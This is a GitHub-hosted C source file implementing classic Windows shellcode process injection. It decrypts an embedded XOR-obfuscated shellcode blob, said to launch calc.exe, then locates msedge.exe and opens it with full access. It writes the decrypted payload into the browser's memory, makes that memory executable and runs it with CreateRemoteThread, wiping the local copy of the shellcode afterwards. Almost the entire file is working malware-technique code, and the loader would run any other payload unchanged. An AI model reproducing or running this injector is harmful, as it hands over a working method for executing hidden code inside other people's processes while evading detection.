-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathshellcode_process_injection.c
More file actions
165 lines (139 loc) · 5.48 KB
/
Copy pathshellcode_process_injection.c
File metadata and controls
165 lines (139 loc) · 5.48 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
#include <Windows.h>
#include <stdio.h>
#include <stdint.h>
#include <TlHelp32.h>
#include <ctype.h>
#include <stdbool.h>
/*
Decrypt a xored shellcode.
Find a remote process by name.
Inject the shellcode in the remote process and start a new thread.
*/
/*===================================#
# XORED PAYLOAD HANDLINGFROM #
# xor_payload.c #
#===================================*/
// Xored shellcode with calc.exe
uint8_t calc_shellcode[] = {
0x8A, 0x2D, 0xF1, 0x9D, 0xAF, 0x9B, 0xB4, 0x72, 0x6F, 0x6E, 0x26, 0x0E, 0x2A, 0x35, 0x2B,
0x27, 0x33, 0x3A, 0x48, 0x8D, 0x16, 0x3C, 0xF9, 0x3D, 0x0E, 0x2F, 0xD4, 0x39, 0x7D, 0x31,
0xFD, 0x37, 0x52, 0x31, 0xD4, 0x01, 0x24, 0x3A, 0x60, 0xD9, 0x2D, 0x15, 0x26, 0x54, 0xB0,
0x3E, 0x54, 0xB2, 0xD5, 0x63, 0x12, 0x08, 0x70, 0x43, 0x4E, 0x26, 0x9E, 0xA2, 0x68, 0x38,
0x77, 0xA4, 0x90, 0x94, 0x0D, 0x32, 0x25, 0x3A, 0xE4, 0x3C, 0x47, 0xD4, 0x29, 0x59, 0x31,
0x77, 0xB5, 0xF9, 0xF9, 0xD7, 0x73, 0x74, 0x72, 0x27, 0xEB, 0xA7, 0x2B, 0x0C, 0x2D, 0x78,
0xA6, 0x35, 0xF9, 0x31, 0x47, 0x37, 0xFF, 0x32, 0x4F, 0x27, 0x66, 0x8F, 0x88, 0x33, 0x31,
0x89, 0xAC, 0x33, 0xF2, 0x6B, 0xFB, 0x3C, 0x73, 0xB9, 0x23, 0x56, 0x96, 0x23, 0x54, 0xB9,
0xDA, 0x24, 0xB3, 0xB0, 0x52, 0x32, 0x75, 0xB3, 0x57, 0x8E, 0x12, 0xAE, 0x27, 0x66, 0x35,
0x52, 0x6D, 0x37, 0x40, 0x8E, 0x06, 0xAC, 0x2A, 0x2B, 0xE5, 0x27, 0x7B, 0x22, 0x64, 0xA9,
0x10, 0x24, 0xF9, 0x75, 0x17, 0x37, 0xFF, 0x32, 0x73, 0x27, 0x66, 0x8F, 0x2A, 0xEE, 0x7D,
0xFE, 0x2D, 0x73, 0xA9, 0x1E, 0x2B, 0x35, 0x2A, 0x31, 0x37, 0x3D, 0x1E, 0x33, 0x24, 0x20,
0x37, 0x3F, 0x3A, 0xFA, 0xB3, 0x53, 0x35, 0x20, 0x90, 0x8E, 0x3F, 0x1E, 0x32, 0x3F, 0x31,
0xFD, 0x77, 0x9B, 0x2E, 0xA0, 0x8C, 0x8B, 0x2F, 0x27, 0xD4, 0x66, 0x5F, 0x6B, 0x65, 0x79,
0x76, 0x65, 0x72, 0x31, 0xD2, 0xFE, 0x75, 0x73, 0x6F, 0x6E, 0x26, 0xE5, 0x5A, 0xEE, 0x16,
0xF1, 0x9A, 0xA7, 0xC2, 0xBF, 0x6E, 0x5E, 0x78, 0x2E, 0xD4, 0xC1, 0xCA, 0xD6, 0xF8, 0x86,
0xA3, 0x2D, 0xF1, 0xBD, 0x77, 0x4F, 0x72, 0x0E, 0x65, 0xEE, 0x9C, 0xBF, 0x1E, 0x60, 0xC2,
0x31, 0x76, 0x00, 0x16, 0x35, 0x73, 0x2D, 0x33, 0xE6, 0xB4, 0x98, 0x8A, 0x08, 0x04, 0x15,
0x15, 0x65,
};
uint8_t xor_key[] = {
'v', 'e', 'r', 'y', '_', 's', 't', 'r', 'o', 'n', 'g', '_', 'k', 'e', 'y'
};
void xor_by_key(IN OUT uint8_t shellcode[], IN const size_t shellcode_sz, IN const uint8_t key[], IN const size_t key_sz) {
for (size_t i = 0; i < shellcode_sz; i++) {
// Get byte of key
uint8_t byte_key = key[i % key_sz];
// Calculate value
shellcode[i] = shellcode[i] ^ byte_key;
}
}
/*===================================#
# PROCESS ENUMERATION FROM #
# process_enumeration_snapshot.c #
#===================================*/
void to_lowercase(IN wchar_t src[], OUT wchar_t dest[]) {
for (size_t i = 0; i < wcslen(src); i++) {
dest[i] = (wchar_t)tolower(src[i]);
dest[i + 1] = '\0';
}
}
bool find_process(IN const wchar_t proc_name[], OUT HANDLE* proc, OUT PROCESSENTRY32* proc_entry) {
/*
Return:
TRUE - if process has been found and opened (:pProcName and :hProc are populated)
FALSE - if something failed (reading :pProcName and :hProc is undefined behavior)
*/
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE) {
printf("[!] CreateToolhelp32Snapshot error: %d \n", GetLastError());
return FALSE;
}
if (!Process32First(snap, proc_entry)) {
printf("[!] Process32First error: %d \n", GetLastError());
return FALSE;
}
// Prepare lowercase process name
wchar_t process_name[MAX_PATH];
do {
to_lowercase(proc_entry->szExeFile, process_name);
// printf("Proc: %5d | %ls \n", proc_entry->th32ProcessID, process_name);
if (wcscmp(process_name, proc_name) == 0) {
*proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, proc_entry->th32ProcessID);
if (*proc == NULL) {
printf("[!] OpenProcess error: %d \n", GetLastError());
return FALSE;
}
return TRUE;
}
} while (Process32Next(snap, proc_entry));
return FALSE;
}
int main() {
// Find process by name
HANDLE proc = NULL;
PROCESSENTRY32 proc_entry = {
// According to the documentation, this value must be initialized
.dwSize = sizeof(PROCESSENTRY32)
};
if (!find_process(L"msedge.exe", &proc, &proc_entry)) {
printf("[!] FindProcess failed \n");
return 1;
}
// Allocate memory for a shellcode in the remote process
void* shellcode_addr = VirtualAllocEx(
proc,
NULL,
sizeof(calc_shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if (shellcode_addr == NULL) {
printf("[!] VirtualAllocEx error: %d \n", GetLastError());
return 1;
}
// Decrypt shellcode and
xor_by_key(calc_shellcode, sizeof(calc_shellcode), xor_key, sizeof(xor_key));
// Write the shellcode to the allocated memory in the remote process
size_t bytes = 0;
WriteProcessMemory(proc, shellcode_addr, calc_shellcode, sizeof(calc_shellcode), &bytes);
if (bytes == 0) {
printf("[!] WriteProcessMemory: %d \n", GetLastError());
return 1;
}
// Wipe the shellcode out from local memory
memset(calc_shellcode, 0x00, sizeof(calc_shellcode));
// Mark the allocated memory as executable
DWORD old = 0;
if (!VirtualProtectEx(proc, shellcode_addr, sizeof(calc_shellcode), PAGE_EXECUTE_READWRITE, &old)) {
printf("[!] VirtualProtectEx error: %d \n", GetLastError());
return 1;
}
// Create a new thread in the remote process and execute the shellcode
if (CreateRemoteThread(proc, NULL, NULL, shellcode_addr, NULL, NULL, NULL) == NULL) {
printf("[!] CreateRemoteThread error: %d \n", GetLastError());
return 1;
}
printf("[+] It works. \n");
// Exit
getchar();
return 0;
}